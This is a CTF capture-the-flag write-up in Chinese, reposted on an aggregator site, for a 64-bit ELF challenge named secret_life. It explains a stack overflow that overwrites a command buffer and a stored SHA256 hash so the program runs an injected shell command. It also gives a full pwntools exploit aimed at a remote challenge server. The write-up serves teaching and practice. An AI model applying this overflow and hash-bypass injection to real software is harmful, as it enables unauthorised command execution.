secret_life

Posted hktk1643

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了secret_life相关的知识,希望对你有一定的参考价值。

题目来源: 暂无

题目描述:机密

 

 

64位elf,程序保护全开

 

 

发现main函数此处存在栈溢出

 

 

程序会比较v15和v17,如果相等则会执行v14的命令

 

 

栈结构如上

v14最开始是"/bin/cat ./secret_data.asc",v15最开始是一串SHA256加密后的结果"9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127"

v17是v16的十六进制字符串表达

v16是dest[256]的SHA256加密

因此可以构造payload为,将dest[256]填满,然后v14放入想要执行的命令,末尾加上一个分号隔绝命令,之后再将v14填满,v15放入dest[256]的SHA256加密后的结果就能绕过检验了

exp如下:

from pwn import *
import hashlib

#io = process(\'./secret_file\')
io = remote(\'111.200.241.244\', 50363)

#payload = b\'a\' * 256 + b\'ls;\'.ljust(27, b\'a\')
payload = b\'a\' * 256 + b\'cat ./flag.txt;\'.ljust(27, b\'a\')

h = hashlib.sha256()
h.update(b\'a\' * 256)
payload += h.hexdigest().encode()

io.sendline(payload)

io.interactive()

 

以上是关于secret_life的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数